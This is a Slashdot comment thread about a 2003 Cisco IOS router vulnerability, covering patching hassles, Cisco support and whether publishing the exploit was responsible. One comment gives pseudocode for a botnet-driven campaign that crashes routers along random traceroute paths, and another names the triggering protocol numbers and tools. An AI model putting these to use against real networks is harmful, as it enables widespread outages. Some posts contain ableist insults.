    28. Re:Exploits et al., by v_1matst · · Score: 0, Offtopic

      After doing a quick google search for "Jack Wagner" and "Olog(n)" I figured out the deal with this guy. Check out the link (kuro5hin) and read all about "The Great Troll Challenge"

      http://www.kuro5hin.org/story/2002/11/6/10336/98 81

    29. Re:Exploits et al., by evenprime · · Score: 1

      News flash: Web-based technologies change monthly, if not weekly. If we waited for them all to mature, we'd still be viewing Lynx compatible pages.

      ...and what would be so wrong with that? I was reading slashdot yesterday with lynx. Unless there is a bloody good reason for a site to be chocked full of graphics (e.g. a pr0n site, or one with photos illustrating "how to do X", etc.) it should be accessible to lynx. Why? Well, if you want your information to be available to the widest number of people possible, you have plenty of text. If you want you page to load fast, you have plenty of text.

      --

      "Weapons should be hardy rather than decorative" - Miyamoto Musashi
      I think that goes for OS's too
    30. Re:Exploits et al., by el-spectre · · Score: 1

      It IS a disadvantage.

      Most folks do not still want text only pages. I know that this is a raw deal for blind folks and the like. The fact is, most clients are not interested in websites that look like they are from 1996.

      I actually try to build 2 years behind, so older browsers can handle my code, and a reasonable amount of time for upgrades is allowed.

      I am a _huge_ believer in standards, actually, but dealing with clients (in both business and browser sense) that are not is exceptionally difficult.

      Unfortunately, web technology was not designed for the disabled to use easily. This is slowly being worked on now, but it's not something that will be fixed overnight. Again, that's a pretty shitty deal, but it is what it is.

      I understand your anger, although I think you misunderstand me; you might be better off _not_ assuming malice or insensitivity on my part. You would also be mistaken in assuming that I make 'flashy' sites. I try to make them as usable as possible. Good developers/designers will do that. But it is impossible to cater to all possible audiences right now.

      Your points are good, but bear in mind the complexity of the situation before assuming that I'm just some insensitive bastard, ok?

      --
      "Faith: Belief without evidence in what is told by one who speaks without knowledge, of things without parallel." - A.B.
    31. Re:Exploits et al., by el-spectre · · Score: 1

      The standard for web development has moved past Lynx. You may not like it, but 'tis true.

      Incidently, few websites expect the 'widest number of people possible' to visit. Most have a fairly specific demographic.

      Ok, someone call off the Lynx hounds!!!

      --
      "Faith: Belief without evidence in what is told by one who speaks without knowledge, of things without parallel." - A.B.
    32. Re:Exploits et al., by Anonymous Coward · · Score: 0
      The standard for web development has moved past Lynx. You may not like it, but 'tis true.

      The standard for buildings has moved past ramps and elevators. Stairs are the future! You may not like it, but 'tis true.

      Incidently, few websites expect the 'widest number of people possible' to visit. Most have a fairly specific demographic.

      Incidentally, few shops expect the 'widest number of people possible' to visit. Most have a fairly specific demographic.

      Ok, someone call off the Lynx hounds!!!

      Ok, someone call off the wheeled cripples!

    33. Re:Exploits et al., by Anonymous Coward · · Score: 0

      From Jack Wagner's comments

      --

      As Leon Brooks sums it up in his famous book "The Mythical Man Month"

      Garth Brooks covers this in his famous book "The Mythical Man Month"

      by Mel Brooks in "The Mythical Man Month"

      Fred Brooks in "The Mythical Man Month"

      Robert Brooks in the "Mythical Man Month"

      Jack Brooks summed it up the best in "The Mythical Man Month"

      Frank Brooks talks quite a bit about this in his book "The Mythical Man Month"

      Rick Brooks said in the Mythical Man Month

      --

      This guy has got to be the funniest troll on /. ever

      YHBT YHL HAND

    34. Re:Exploits et al., by el-spectre · · Score: 1

      Um... yeah, ok. Misusing that metaphor isn't making the point, and I'm tired of this. fuck off.

      --
      "Faith: Belief without evidence in what is told by one who speaks without knowledge, of things without parallel." - A.B.
    35. Re:Exploits et al., by Megor1 · · Score: 1

      I love his misuse of big O notation. Olog(n) faster? What by the size of the picture? No because If you change a constant value (bits per pixel) it will have a constant, not logorithmic effect on the size.

      Image has 1000 pixels with 32 bit colors per pixel no compression: Size = 1000x32bits = 32000 bits.

      Image has 1000 pixels with 2 bits of color per pixel (although 8 bit greyscale would be better) = 2000 bits.

      Now it seems a full color image is 16x large than the bw one, if you change the number of pixels the savings in size will be constant.

      --
      Everyone that disagrees with me is a paid shill
    36. Re:Exploits et al., by leviramsey · · Score: 1

      Tell me, Jack, is daylight savings time right around the corner? ;o)

    37. Re:Exploits et al., by Anonymous Coward · · Score: 0
      For instance I was able to reduce the load time of a very well known and heavily traveled Fortune 500 website by moving all the graphics to black and white only, as they load on an average of Olog(n) faster than color graphics (where n is the number of pixels in the color graphic) thusly improving their UHCRF (unique hit customer retention factor) ratio by 35%!!
      You mean you can download a picture link in log? I once built a cabin using link in log's, but you don't see me bragging.

      It's looooggg,
      it's looooggg,
      it's big, it's heavy, it's wood.

      It's loooggg,
      It's loooggg,
      It's better than bad, it's good!

  6. As Mentioned on Slashdot by Saige · · Score: 1, Insightful

    Now that it's been published, and Slashdot has broadcast it nice and loudly, surely the number of script kiddies planning on making use of this is significantly increasing. Not that I'm complaining about it being known - it'll really make certain people get their behinds in gear to fix it - but I'm sure we'll be seeing how serious of an exploit this is soon.

    Let's see if we get significant network outages anywhere on the interenet anytime in the next few days/weeks...

    --
    "You know your god is man-made when he hates all the same people you do."
    1. Re:As Mentioned on Slashdot by RobertNotBob · · Score: 1
      Actually, the link I E-mailed to the WAN manager pointing to this article was enough to start the precess.

      Of course I am seriously doubting that the Net will be any fun this weekend.

      --
      ___ I don't respond to Anonymous Cowards, and I Never Mod them UP.
    2. Re:As Mentioned on Slashdot by Saige · · Score: 1

      Well, we can hope that most people are as aware as your WAN manager. But, sadly, I think the security awareness around the internet isn't always up to that level of quality, as we've seen from other attacks and viruses and the like that exploited known vunerabilities that should and could have already been fixed.

      I guess CERT and Slashdot are probably some of the best places to make people aware of this, as anyone worth their paycheck keeps track of at least one, if not both, and will have taken appropriate action.

      We'll see soon enough how many people actually did something about the vunerability.

      --
      "You know your god is man-made when he hates all the same people you do."
    3. Re:As Mentioned on Slashdot by hardave · · Score: 1

      What I'm wondering though is how many kiddies will try this on their own ISP's gateway first.

      Then wonder why their probe script doesn't work anymore.

  7. Surely by jpnews · · Score: 2, Funny

    Surely you meant to say Sisqo?

    1. Re:Surely by Anonymous Coward · · Score: 0

      I thought he meant Sisko. (I'd like to see Hawk whoop-up on the *AA while ranting about his flying cars...)

  8. Troll. Don't reply to. by Anonymous Coward · · Score: 0

    Sad sad troll. No friends in the world.

    (For evidence of trolling, consider his use of the name "Leon Brooks" for the person actually named -- as is well known by actually competent developers -- "Frederick P. Brooks"

  9. Tell me why by broothal · · Score: 5, Insightful

    Ok, maybe it's just me, but why is it that I have to provide Ciso with serial number, date of purchase and the name of my cat to get this fix? I mean - the fix is software, and it will only work on Ciso units. So - for crying out loud - put the patch on an FTP site and get over with it. Jumping through hoops to get the patch isn't going to speed things up.

    1. Re:Tell me why by jht · · Score: 5, Informative

      Gee, I just had to call TAC up and give them the serial number to get in (our router doesn't have a service contract). Within an hour, I had a callback from the engineer who was given my case and an e-mail in my inbox looking for the specific info needed (the version of IOS I was running and the exact name of the binary - all produced by "sh ver").

      After I got him the info, it was only a few minutes before the patch link was sent to me for download. The whole thing was done before lunch today - and that's for a little piss-ant customer with no service contract and a single router.

      I think that's about as simple as it needs to be, personally. There's different versions of IOS for different devices, and all sorts of supported code revisions to deal with - it's not like Windows where you have a core version and service packs/hotfixes you may or may not have applied in random combination. Typically, if you have a Cisco router and it's working you'll only want to apply the minimum possible fix to the specific version you're running. So it's a pretty darned complex upgrade matrix. I, for one, am perfectly happy to let TAC guide me through it.

      --
      -- Josh Turiel
      "2. Do not eat iPod Shuffle."
    2. Re:Tell me why by hawkbug · · Score: 1

      Well, you have a point - but on the side of the coin, there should be another option like the previous poster wants. Let's say that you are an experienced network admin who knows exactly what version of the IOS you need, and you know how to install it. Wouldn't it be a pain in the ass for you to have to go through this ridiculous process for every router you were responisble for if you didn't have a contract with Cisco like many companies don't? I'm half-way wondering if this isn't an easy way for Cisco to generate some business for itself by showing why it's better for your company to have a service contract with Cisco.... makes you think, doesn't it?

    3. Re:Tell me why by Penguinshit · · Score: 2, Insightful

      It seems to me that it's Cisco's way of preventing even worse problems by someone fat-fingering the upgrade themselves. It's a little bit slower, but in the end you're assured that you get exactly what you need for your systems. I find that extremely conscientious of Cisco.

    4. Re:Tell me why by Comen · · Score: 0

      Your absolutely right, people can complain all they want but I have had outstanding service from cisco, I can name allot of other companies that I dont get near the quality of service from. We were even contacted by our cisco rep before this was posted on the internet giving us a small heads up.
      Every cisco rep have been almost to nice about the whole thing, they trying to make sure people dont stay mad to long I guess, and the process has been very smooth. I talked to a couple of guys at cisco while working on other cases with them, and asked them how its been on the phones lately since this advisory and they were saying it was just very busy etc... Most companies wouldnt even be able to keep up with kind of traffic and they are handing it very nicely with patchs ready. And you know someone was still going to be out there complaining.

    5. Re:Tell me why by Anonymous Coward · · Score: 0

      If you're an experienced network admin and used cisco gear, you'd know the benefits of having a CCO login and would pay for it.

    6. Re:Tell me why by Anonymous Coward · · Score: 0

      You mean, apart from it being illegal? The software is subject to export restrictions.

    7. Re:Tell me why by walt-sjc · · Score: 1

      Well, sure, but there are other ways to get this. If Cisco had a web form that you pasted the output of "sh ver" to, it could direct you to the exact file. Email is a pathetic solution.

    8. Re:Tell me why by hawkbug · · Score: 1

      Most admins aren't in charge of money - and thus can not just subscribe to things without approval of some type. And even if there were benefits, I couldn't justify the expense - seriously, our router has run fine for 4 years now. I haven't paid a dime to Cisco since the original purchase, and that's the way it should be.

    9. Re:Tell me why by Anonymous Coward · · Score: 0

      The benefits are easy to show to PHBs. You could even take this incident and let them know how much easier and quicker (more cost-effective) this mess could have been cleaned up with such a service.

    10. Re:Tell me why by Anonymous Coward · · Score: 0

      You may not need a service contract, but you seem to have just one router.

      They sell IOS, they cannot make it available to just anyone without losing a revenue stream. So for your one router, deal with TAC. It's really not hard.

      If you have a bunch ,you'd have a service contract, expecially since it gives you access to new features in new IOS versions to make your existing routers do more.

    11. Re:Tell me why by SquadBoy · · Score: 1

      You don't have to log on with your CCO id and download it if you know exactly what you want. The upgrade process is complex enough that I like to double check. BTW whether or not you have or now work with a company that has a contract if you do not have a CCO id you are not an "experienced network admin" and should be working through the TAC. Elitest yes but also true.

      --

      Cypherpunks: Civil Liberty Through Complex Mathematics. Those who live by the sword die by the arrow.
    12. Re:Tell me why by forged · · Score: 1

      What were you saying ? (works if you have a CCO login)

    13. Re:Tell me why by Anonymous Coward · · Score: 0

      Oh you guys have it so easy - when I talked to Cisco's TAC, I found out that my IOS is a version that loads from DRAM, and the patches are only in load-from-flash versions -- and my flash is half the size it needs to be for the upgrade.
      Now, that wouldn't be so bad, except we have about 6 routers, in remote locations!!!
      Not only that - they can't seem to find an appropriate patch/revision for the load-from-DRAM IOS!!!
      SO what next!?! I don't find this "easy" - I wish my experience mirrored yours!!!

    14. Re:Tell me why by LynXmaN · · Score: 1

      I have a CCO login but I don't have a service contract and this doesn't work.
      That was not working :(

      --
      May the source be with you!
    15. Re:Tell me why by Anonymous Coward · · Score: 0

      I agree - I've been waiting all damn day to get this IOS update, and the last response I got from anyone at Cisco was 1 PM MST. 3 hours later, I still don't have the IOS, or any indication that I will have it for my Cisco 2600 by the time I go home. Apparently, I will have to work this weekend thanks to their slow response time and lack of an ftp download for this file.

    16. Re:Tell me why by pe1chl · · Score: 1

      Their problem is, they sell different software to different customers for different prices, all running on the same hardware.
      IOS is a single image that can have lots of different features. Different protocols (IP, IPX, SNA, whatever) and also different levels within the same protocols (IP, IP with encryption, IP with firewalls).
      If you bought a router with a bare IP IOS and now you would need a patch, you could download the IP with firewall version and thus upgrade your functionality without paying.

      Of course this is not what the salesmen like. But it is also very oldfashioned. Other software manufacturers have solved this long ago by issuing licensing codes that enable a certain featureset. So, after installation you will have to type some cryptic set of letters and digits that proves that you have bought a license for this specific software.
      In an environment like that, they can put their software up for download without running the risk that customers silently upgrade to larger featuresets.
      (except that these schemes are often hacked, but that is a completely different issue)

  10. You insensitive clod! by Archwyrm · · Score: 1

    My employer (U.S. Gov't) is too cheap to buy Cisco equipment! =P

    --
    Fascism should more properly be called corporatism because it is the merger of state and corporate power. -- Mussolini
  11. hmm, and suddenly today roadrunner is dog-slow... by muddy_mudskipper · · Score: 1



    coincidence?

    or perhaps someone in my subnet finally figured out how to mirror torrentse.cx?

  12. "Creating" havock... by MattRog · · Score: 3, Insightful

    They'll be creating something but I don't know what. Hopefully it won't resemble havoc.

    --

    Thanks,
    --
    Matt
  13. Where is the Exploit ? by Anonymous Coward · · Score: 0


    those links just point to the advisory which has been global news for a couple of days, anyone seen the actual exploit code or is this FUD from cert ?

    1. Re:Where is the Exploit ? by grokBoy · · Score: 5, Informative

      You can find the original exploit here.

    2. Re:Where is the Exploit ? by Anonymous Coward · · Score: 0

      It was posted by an unknown user known as "Marion Barry" on the Full Disclosure mailing list. That was about 14 hours ago, I believe. The list address is here

  14. Go Open Source by Papa+Legba · · Score: 5, Funny

    Once again we see the power of open source! From anounced flaw to exploit in two days. Beat that Microshaft!..... Oh.... Wait.... This is not a good thing is it....

    --
    Papa Legba come and open the gate
    1. Re:Go Open Source by Anonymous Coward · · Score: 0

      LOL now thats why goverments and big compaines dont go open source they know that yes it may be more secure but chances are if someone finds a hole they then tell the whole world not going should i or should i not...

    2. Re:Go Open Source by GoneGaryT · · Score: 1

      What has Cisco's IOS got to do with open source?

      Options:
      a/ I'm missing something.
      b/ You're a dickbrain.
      c/ CowboyNeal
      d/ All of the above.

    3. Re:Go Open Source by Mister+Snee · · Score: 1

      Cisco IOS isn't open source.

      Idiot.

    4. Re:Go Open Source by Anonymous Coward · · Score: 0

      I think he's talking about the exploit itself being open source. It makes more sense that way, doesn't it?

      Options:
      a/Spoke to soon
      b/Can't read well
      c/None too bright
      d/CowboyNeal
      d/All of the above

    5. Re:Go Open Source by GoneGaryT · · Score: 1

      No.

      An open source exploit? You mean, like an exploit published under the GPL? Are you serious? Or are you saying that open source libraries are Dangerous and ought to be Banned? Or something? Kindly explain.

      Laugh and the world laughs with you; fart and you're all alone.

    6. Re:Go Open Source by Anonymous Coward · · Score: 0

      That's easy as hell to beat. Most MS vulnerabilites have exploits out for months before they get announced and a patch is released! :)

    7. Re:Go Open Source by Dave2+Wickham · · Score: 1

      The source for the exploit is open. Hence open source. Open source != always GPL.

    8. Re:Go Open Source by Anonymous Coward · · Score: 0

      I wonder what Richard Stallman will say about GPLed shellcode that is being injected into a non-free operating system.

  15. Re:Amazing!!!! by botzi · · Score: 1

    You sir are the best troll who doesn't know he's a troll I've ever seen!!!!

    --
    1. No sig. 2. ???? 3. Profit!!!
  16. The exploit was seen in the wild last night by mclancy10006 · · Score: 1

    This was seen as activity on the net last night by some of the MSS firms. It seems post-patching of the Cicso boxes results in higher CPU utilization for a godd while. Not sure why yet, but maybe due to all that bad traffic...

    1. Re:The exploit was seen in the wild last night by Anonymous Coward · · Score: 0

      Yeah, I was ticked that I had to come up with
      serial numbers on remotely deployed routers (which I couldn't and didn't do) - then the Cisco rep calls (yes, it was within 2 hours of emailing them) and says "oh my - all your versions boot from DRAM and all the patches boot from flash - and you don't have enough flash to load them"!
      I'm just to have to buy more flash!

  17. Security by Anonymous Coward · · Score: 0

    Other simple techniques like removing all interpreted languages (java, Visual Basic, c# etc.) and replacing them with low level compiled code (C, of course) has generated speed increases upwards of 25% and also increase the security of the site as a side effect.

    if you're looking for a secure web development platform, Zope is good. Only 2 vulnerabilities in 5 years, and the Hotfixes were available almost immediately, added to this, they (the 2 vulnerabilities) were only local vulernabilities, not remotely exploitable. When the ISP I was working for was security audited, the Zope servers were amoung the few boxes that didn't have detectable vulernabilities. (and these were pro network security guys). Zope's written in Python and C.

  18. REAL ULTIMATE POWER by Anonymous Coward · · Score: 0
  19. tried it... works quite well by Anonymous Coward · · Score: 2, Interesting

    I've already compiled this and tested against an internal router, fills up the input queue quite nicely. Requires libnet.h

    -orbit0r

  20. Whew. by CrackerJackz · · Score: 5, Funny

    Glad I dodged the bullet, I've got every last router patKL()*$OFD_)#@ [LINK DOWN]

    1. Re:Whew. by Anonymous Coward · · Score: 1, Funny

      Not funny.

    2. Re:Whew. by leviramsey · · Score: 1
      Re:Whew. (Score:1, Funny)
      by Anonymous Coward on 02:27 PM July 18th, 2003 (#6472745)
      Not funny.

      Conclusive proof that moderators are susceptible to reverse suggestion...

      [This post is not funny]

  21. Dear Slashdot, by Anonymous Coward · · Score: 5, Funny

    Thanks heaps.

    Regards,
    Cisco Systems.

  22. Protocol Independent Multicast? by jkc120 · · Score: 3, Informative

    If I'm reading this page correctly, the protocol type of the packet that causes the problem appears to be the PIM protocol:

    grep 103 /etc/protocols
    pim 103 PIM # Protocol Independent Multicast

    --
    "I drank what?" -Socrates
    1. Re:Protocol Independent Multicast? by XenoPhage · · Score: 5, Informative

      Actually, it's 4 protocols ... 53, 55, 77, and 103.. Any one of these can kill the interface.

      I've already posted a lot of information regarding this on the Nanog list.. but the "exploit" that has been release (shadowchode) isn't required to exploit this bug .. hping can do this just as easily..

      --
      XenoPhage
      Technological Musings
  23. Re:What next??? by botzi · · Score: 1
    I received from hitting that benchmark... heh. Other simple techniques like removing all interpreted languages (java, Visual Basic, c# etc.) and replacing them with low level compiled code (C, of course)

    What an insight!!!!!!
    I'm sure that the coming site support teams will talk a loooong time about the _real programmer_ guy who's been there before them.... Imagine the following:
    - Hey, Joe, how the hell is this page header generated.....ooooooh, an executable....Nice!!!!;o))))
    You know, I should agree that the nunmber of people in the web programming that don't have a clue what exactly they're doing is significant, that doesn't meen that you should come with a kernel module every time you want to generate an xml file.....

    --
    1. No sig. 2. ???? 3. Profit!!!
  24. Re:hmm, and suddenly today roadrunner is dog-slow. by Elminst · · Score: 2, Informative

    Today?
    RR in upstate NY has bee dog-ass slow for 2 days straight now... despite the "network status" page being filled with "area down for cable maintenance/upgrades" for 3 days.
    Oh look.. it says there's nothing wrong in my area.. bullshit!

    --
    No unauthorized use. Trespassers will be shot. Survivors will be shot again.
  25. not that easy by Anonymous Coward · · Score: 0

    I've been searching thru the updated ios software, and the one that the advisory tells me to migrate to is way to big for my router. Plus it's not telling me whether it has 3des+ipsec support.
    I don't think cisco's website is really that friendly.

    1. Re:not that easy by Trigun · · Score: 1

      I have 5 25xx's and 2 1601's sitting on my desk until I can get enough ram to run the new fixes.

      I really should just pull them out of service, but hey, they work.

    2. Re:not that easy by Anonymous Coward · · Score: 0

      http://www.memoryx.com

      In the cisco section.

      Good prices.

    3. Re:not that easy by dago · · Score: 1

      why don't you just apply the workaround (block the 'exotic' protocols) ?

      --
      #include "coucou.h"
    4. Re:not that easy by Trigun · · Score: 1

      Then I don't get fancy new gear!

    5. Re:not that easy by fwr · · Score: 1

      The 2500 series has been EOL'd. May want to check their web site and use it to justify new 2600XM's (the non-XM 2600's are also EOL'd, so I wouldn't recommend purchasing them).

    6. Re:not that easy by Trigun · · Score: 1

      I just have to hold out a little bit longer! The economy's going to pick up, and we'll all be riding on the edge of the dot-com bubble again. We'll all be millionaires! And then, Cisco 7000's for everyone!

  26. OMFG, TOO FUNNY! by Anonymous Coward · · Score: 0

    you so clever!

    i laugh long time!

    i bet you tell that one to all you loser friends!

    OMFG!

    FUNNY MAN!

  27. Importance of shaming they who published the explo by lanner · · Score: 5, Insightful

    Importance of shaming those who published this exploit

    There was very little time to act upon the new IOS version that Cisco provided to the public. The software upgrades were available to the public on Thursday morning at 00:00. CERT made their announcement about 15 minutes later. Today, the exploit is public. That is less than 48 hours to upgrade the hundreds of thousands (if not million+) Cisco routers across the world.

    This is the most important security event effecting the Internet since the root DNS server attacks some time back, and this one is potentially much more severe. I have been surprised at the lack of media attention of this issue, or how some of my technical colleges have treated it. They don't seem to understand how many Cisco routers are out there.

    It needs to be shown that by making the exploit of this vulnerability public so soon, the persons who did this only did so for publicity gain at the expense of others.

    They hurt others to profit themselves, and that is no more cool than slavery is. And what did they get out of it? "My dick is bigger than yours."

    I just don't want this to pass over and the people who made this exploit public think that what they did was cool, or that they are going to get a lot of admiration or karma for it. If they like the Internet, which they probably do, they just did the most harmful thing to it as they could have possibly done.

  28. enormous ddos potential - patch right away! by Brian+Ristuccia · · Score: 4, Informative

    Imagine your typical packet kiddie running dozens of instances of the following pseudocode on his farm of a few hundred trojaned boxes:


    while (1) {

    $x = random(255);
    $y = random(255);
    $z = random(255);
    @hops = traceroute("$x.$y.$z.1");
    for $hopnum (5..@#hops) { # don't kill nearby routers
    system("shadowchode", $hops[$hopnum], 255 - $hopnum);

    }

    }

    If you haven't patched already - do it now.

  29. Re:Importance of shaming they who published the ex by Anonymous Coward · · Score: 0

    wahahahha

    cry me a river philosophy boy

  30. MOD PARENT DOWN by Penguinshit · · Score: 1, Informative

    Relax. This news has been going around the various vulnerability mailing lists for over a week now. Slashdot is late to the party (rightfully so).

    The discoverer notified Cisco and everyone else, but held back on the exploit code until Cisco had a chance to work on it. Now that the word is out as well as the patch, don't waste time here when you should be patching your CATs (or looking for a new job).

    sheesh.

    1. Re:MOD PARENT DOWN by gclef · · Score: 3, Insightful

      WRONG.

      This is not the CatOS vulnerability, which was announced a week ago. This is a vulnerability in IOS (not CatOS), that Cisco discovered themselves (apparently a while ago, based on some of the build dates). It has been on the public lists for about 2 days now.

      If you're going to mock someone, make sure you have your fact straight.

    2. Re:MOD PARENT DOWN by UU7 · · Score: 1

      Oh calm the hell down.

  31. Just Fix It by vinn · · Score: 5, Insightful


    Cisco released the fix two days ago to backbone providers. Other large customers could get the fix early yesterday. If you're affected by this vulnerability and it's not fixed yet:

    • You're not subscribed to the proper news channels (i.e. you're not doing your job) or
    • You're lazy (i.e. you're not doing your job) or
    • You're not as important as you thought (i.e. someone else isn't doing their job.)

    It seems like Cisco handled this one correctly with the providers. I'm not sure how well large customers were handled, my guess is the .edu folks probably got screwed again.

    --
    ----- obSig
    1. Re:Just Fix It by Anonymous Coward · · Score: 0

      And if you believe everyone should have it all fixed by now you either:

      1. Live in your parents basement and think linux is l33t

      2. You believe everything should be free

      3. You are a fucking loser

    2. Re:Just Fix It by vinn · · Score: 1


      There's no choice in the matter. This vulnerability has one fix available from Cisco (with the load raising ACL solution a distant 2nd) with known exploits in the wild. Very little extensive testing of this patch has been done and no one knows if the patch will break anything else. (Supposedly Cisco does 250,000 internal tests before releasing a patch.) Yes, there's unconfirmed reports of inout errors resulting from the patch.

      If you are a transit ISP you test this as much as possible and roll it out. It's a game of Russian roulette and you're forced to play. If you're sitting in a mission critical NOC you apply this, deal with the fallout, and go to plan B in the event of something bad. That's why you're getting paid the big bucks, right?

      If you're on the edge you probably have support to fall back on and in this instance it's exactly what you'd want to do.

      --
      ----- obSig
    3. Re:Just Fix It by davew · · Score: 2, Insightful

      I'm really, truly trying not to troll here, but this attitude pisses me off.

      I work for an ISP. We have about 40-odd routers of various sizes. Six months ago we began upgrading their IOSes to handle IPv6. Last Wednesday we finished. We weren't pissing about; we were picking builds, checking to make sure they supported the features we needed, checking for critical known bugs, deploying them, finding bugs, sometimes scaling back. Some of these problems didn't reveal themselves for a week or two after deployment.

      Pretty much none of them were due to IPv6, they're just changes in behaviour that you get when jumping from one release to another. It happens. You upgrade with care.

      And because I haven't pressed the button to start and finish this process inside of two days (and instead spent the two days planning the job and trying to divine safe ACLs to apply to tide us over until we push that button) you're telling me I'm not doing my job.

      A colleague keeps wondering why we use these expensive Ciscos and Junipers when Linux would technically fulfil a lot of what we want to do. He's right, but for one thing - typical server uptimes and reliability aren't good enough for the stuff that routers do. Even Linux, which is pretty damn good for uptime. A 5 minute reboot of a web server is annoying, but a 5 minute reboot of a router will get customers on the phone. An hour's outage of a web server is trouble; an hour's outage of a router is broken SLAs.

      Please, don't assume that a large network is a small one scaled up. There are a million reasons why that's not the case.

      Dave

    4. Re:Just Fix It by pe1chl · · Score: 1

      A colleague keeps wondering why we use these expensive Ciscos and Junipers when Linux would technically fulfil a lot of what we want to do. He's right, but for one thing - typical server uptimes and reliability aren't good enough for the stuff that routers do. Even Linux, which is pretty damn good for uptime. A 5 minute reboot of a web server is annoying, but a 5 minute reboot of a router will get customers on the phone.

      Of course a Linux system that does only routing will have better uptime than one that runs lots of server processes, has a disk, needs hardware additions now and then, etc.

      Also, such a Linux system will not need 5 minutes for a reboot. In fact, it will reboot faster than a typical Cisco.

      It is also much more modular and can do some updates without reboot. When you have a modular kernel and need to install some bugfix in a driver or other component, it will in some cases be possible to replace the module without a reboot.
      In a Cisco this is never true; it will need a replacement of its entire monolytic IOS and a reload.

      Of course, this does not mean that Linux can always replace a Cisco and is always a better choice. However, it more often is than many people want to believe, especially with todays PCs (low power, high performance, solid state background storage).
      It is largely a culture thing. When PCs started to replace mainframe terminals, there were also lots of people proclaiming that they were not good enough. However, that has changed over the years.

    5. Re:Just Fix It by vinn · · Score: 1

      If you're a tranport ISP and not on the edge I just don't see what options there are (were). Known exploits were in the wild and the only solutions are either Cisco's patch or something ACL based. ACL based might be fine if you can tolerate the increased load. Otherwise, the patch is it. And that sucks if you have to do something like cross the 12.0(22)S hurdle.

      Of course you should be careful, but if you're working in a large NOC and making the big bucks this is the type of thing you stay at work for hours testing. Yes, this exploit will wreck havoc for years, but hopefully not on any backbone provider's network. It's the time to stock up on caffeine and tell your wife you'll be home late. With all the media attention most networks put out customer notifications of impending outage and I think most people thought it was ok.

      As far as the Linux references (especially from the other guy), I don't buy it either. Until someone makes a nice canned Linux router product with Cisco style support it's simply not a solution. As far as Juniper goes, I think this is an excellent example of why it's a good thing to have mutiple router platforms in a datacenter. Of course I've said the exact opposite when it comes to having to support it..

      Please don't assume a NOC is a large network scaled up. There are a million reasons why that's not the case. (sorry, couldn't resist)

      --
      ----- obSig
  32. Some companies did have timely responses.. by msimm · · Score: 1
    Here's the letter I received from Serverbeach yesterday afternoon:
    July 17, 2003

    Notice to Customers: Maintenance Window, July 18, 2003 - 12:00-2:00 am CST

    Dear XXXX:


    This letter is to inform you of a network maintenance window that will take place this evening, July 18, 2003, from 12:00-2:00 am central time.

    We received an advisory today, sent to all Cisco IOS customers, that requires a network patch to ensure ongoing security and performance of the system. We have made the decision that, given the urgency of this notice, we should install the patch this evening. Customers may experience a disruption or reduction in network performance during this window.

    We maintain our commitment to providing the highest level of service and network performance for our customers. Thank you for your business.

    Feel free to contact me with questions or comments at ####@serverbeach.com.

    Sincerely,

    Richard Yoo
    Big Kahuna
    Nice to see someones paying attention.
    --
    Quack, quack.
    1. Re:Some companies did have timely responses.. by Anonymous Coward · · Score: 0

      And some really were paying attention (received 20030717 18:39)

      As you may be aware, Level 3 performed significant maintenance to Cisco routers in our Network over the past two evenings. Due to restrictions in our contract with Cisco, we were not at liberty to share with you the nature or details of the pending work. Additional information can now be shared.
      Level 3 Communications was notified by Cisco on the evening of Tuesday, July 15, of a potential software risk running on Cisco routers. In coordination with Cisco, Level 3 Engineers worked to secure the Level 3 Network through network modifications and router maintenance that evening. The remainder of our core Network infrastructure was completed in the maintenance window last evening.
      We recognize that the timeframe and notification provided in this case have not been consistent with standard practice. The decision to move forward with work was based on a collective assessment of the potential impacts to your services if the risk was not mitigated.
      We will continue to conduct maintenance activities over the coming days as we address issues associated with this specific exposure, and mitigate any potential remaining risk. We will provide specific maintenance notifications to Customers on the associated services we would impact in those follow-on maintenance activities.

  33. Just tried it.. by nolife · · Score: 5, Funny

    I just tried this on our routers at work, it does not appear to work. I did n tice som pkt lss but a r nn

    --
    Bad boys rape our young girls but Violet gives willingly.
    1. Re:Just tried it.. by LostCauz · · Score: 0

      hahah why isn't this funny!?!!

  34. Is this a problem of feature inflation? by CraigV · · Score: 3, Interesting

    I had the impression that routing was a fairly straight-forward task and that 100% reliable software should be available for the routers. Has Cisco added frills to such an extent that the basic routing is compromised? Is this current problem associated with unnecessary features?

    1. Re:Is this a problem of feature inflation? by roachmotel3 · · Score: 1

      Not at all -- this is a day 0 bug, meaning this has been around since cisco's garage days.

      It's amazing it's gone this long without being found.

    2. Re:Is this a problem of feature inflation? by davew · · Score: 1

      Forwarding a packet out an interface is a fairly straightforward task. Things get interesting, though, when you start scaling up - either speed or size. Putting together hardware and software that can handle 120,000-odd routes (and growing) in the IPv4 routing table, all of which may go up and down independently and quickly, is a challenge. Handling multiple different protocol types is a challenge. Implementing shit-fast access lists, custom queues, QoS features, multicast, packet counters, sensible reactions to line down - these all add complexity. These aren't unnecessary features; we use every single one of these where I work.

      Meanwhile, the amount of traffic one expects to be able to pass is increasing at a faster rate than Moore's Law. (In 1996, I had a 33Mhz PC at my desk and a 2Mbps uplink to the internet. In 2003, I have a 1500Mhz machine on my desk and a bunch of 2.5Gbps uplinks).

      Are you scared yet? :)

      Dave

  35. Re:Importance of shaming they who published the ex by Penguinshit · · Score: 1, Informative

    You don't read a lot, do you (or don't read the correct mailing lists)? The notification regarding this exploit went out some time ago. The discoverer worked with Cisco, releasing a notification regarding the exploit and some general information regarding cause and severity.

    THEY HELD BACK ON THE EXPLOIT CODE UNTIL CISCO COULD DEVISE A PATCH.

    Larger customers (ISPs, etc.) were taken care of in advance of the general public notification. Independent parties were no doubt already working on their own exploit code. It's quite common to release the patch and the exploit code at the same time; in fact, some parties prefer to release 0-Day exploit code... let's just be glad these particular folks didn't.

  36. Re:Importance of shaming they who published the ex by Homology · · Score: 1
    Today, the exploit is public. That is less than 48 hours to upgrade the hundreds of thousands (if not million+) Cisco routers across the world

    That's less than 48 hours, depending on which timezone you live in. Should be an interesting weekend for some.

  37. Re:this is why.... by JavaLord · · Score: 1

    You must be a mac user...get it...CISC blow? Aww never mind...

  38. updates by CaffeinatedMouse · · Score: 2

    Any good suggestions on scripting the upgrades? What happens if you have over a few hundred routers? Life sucks I guess.

    1. Re:updates by Pii · · Score: 2, Informative
      If your enterprise is such that you have a few hundred routers, then I'd certainly hope that you'd have ponied up for Cisco Works, which would then allow you to push out the upgrades in an automated manner.

      Of course, there are also freely available perl and expect scripts out there that would allow you to do the same thing.

      --
      For those that would die defending it, Freedom
      has a sweet taste that the protected will never know.
  39. That reminds me of "don't do drugs" camp by 192939495969798999 · · Score: 3, Funny

